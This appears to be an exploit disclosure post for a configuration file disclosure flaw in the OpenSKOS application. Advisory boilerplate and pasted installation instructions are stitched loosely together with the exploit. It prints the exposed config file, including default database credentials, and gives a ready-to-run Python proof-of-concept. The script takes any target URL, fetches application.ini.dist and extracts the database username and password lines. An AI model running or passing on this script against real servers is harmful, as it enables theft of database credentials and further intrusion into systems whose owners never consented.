The username and password of the database may be obtained trough the "application.ini" file. This is going to have an impact on confidentiality, integrity, and availability. The configuration file unintentionally stored in /application/configs/application.ini HTTP requests consisting of a single character will cause the software to disclose sensitive configuration information, including the password/database to the administrative web interface. This file is installed, by default, with world readable and possibly world writeable permissions enabled. This may have some potentially serious consequences as the configuration file also stores password information in plain text. This issue occurs because access controls on configuration files are not properly set. An attacker can exploit this issue to retrieve potentially sensitive information. Attackers can access config file via URL request. This may aid in further attacks. The access to the /configs directory should be restricted with an adequate countermeasure by the use of a .htaccess file. * The product stores sensitive information in files or directories that are accessible to actors outside of the intended control sphere. * An information exposure is the intentional or unintentional disclosure of information to an actor that is not explicitly authorized to have access to that information. 1. Install the OpenSKOS code **************************** Copy the code to a location of your choice. Make sure all files are readable by your webserver. Make sure the directories data/uploads, cache, public/data/icons/assigned and public/data/icons/uploads are writable for the webserver. For security reasons you can place the data directory outside your webserver's document root. 1.2 Configuration ***************** To configure OpenSKOS you have to rename: APPROOT/application/configs/application.ini.dist to APPROOT/application/configs/application.ini Now you can edit the APPROOT/application/configs/application.ini. You can have separate config settings for specific deployments. The configuration section marked by the Environment Variable APPLICATION_ENV (see 2.1 Setting Up Your VHOST). Most settings are self explanatory. If you experience any problems you may want to modify settings in the config, to show you more verbose error messages: resources.frontController.params.displayExceptions=1 phpSettings.display_errors = 1 ##################################################################### # Database Configuration File Disclosure Exploit : ******************************************* /application/configs/application.ini.dist Information : ************* ; Solr configuration: solr.host = localhost solr.port = 8983 solr.context = /solr ; Database configuration: resources.db.adapter=pdo_mysql resources.db.params.host=localhost resources.db.params.username=openskos resources.db.params.password=openskos resources.db.params.charset=utf8 resources.db.params.dbname=openskos resources.db.isDefaultTableAdapter = true Exploit - Proof of Concept : ************************** #!/usr/bin/python import string import re from urllib2 import Request, urlopen disc = "/application/configs/application.ini.dist" url = raw_input ("URL: ") req = Request(url+disc) rta = urlopen(req) print "Result" html = rta.read() rdo = str(re.findall("resources.*=*", html)) print rdo exit ##################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team #####################################################################
